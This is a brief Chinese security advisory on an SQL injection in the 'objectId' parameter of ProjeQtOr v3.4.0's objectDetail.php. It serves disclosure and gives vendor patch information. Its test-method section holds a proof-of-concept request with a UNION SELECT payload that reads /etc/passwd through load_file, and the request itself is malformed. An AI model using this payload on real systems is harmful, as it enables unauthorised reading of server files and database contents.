ProjeQtOr ‘objectId’参数SQL注入漏洞

漏洞起因
SQL注入错误
危险等级

影响系统
ProjeQtOr v3.4.0

不受影响系统

危害
远程攻击者可以利用漏洞可操作或获取数据库信息。
CVSSv2:

攻击所需条件
攻击者必须访问ProjeQtOr。

漏洞信息
ProjeQtOr是一款开源项目管理程序。
ProjeQtOr ‘/view/objectDetail.php’不正确过滤用户提交的’objectId’参数数据,允许远程攻击者利用漏洞提交特殊的SQL查询,可操作或获取数据库信息。

测试方法
POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
Host: objectClass=Affectation&objectId=99942+union+(select+load_file(‘/etc/passwd’),null,null,null,null,null,null,null,null,null,null,null+from+dual)
&listIdFilter=&listFilterClause=
安全建议

厂商解决方案
用户可联系厂商获得相应的升级或补丁程序:
http://projectorria.org

漏洞提供者
Vicente Aguilera Diaz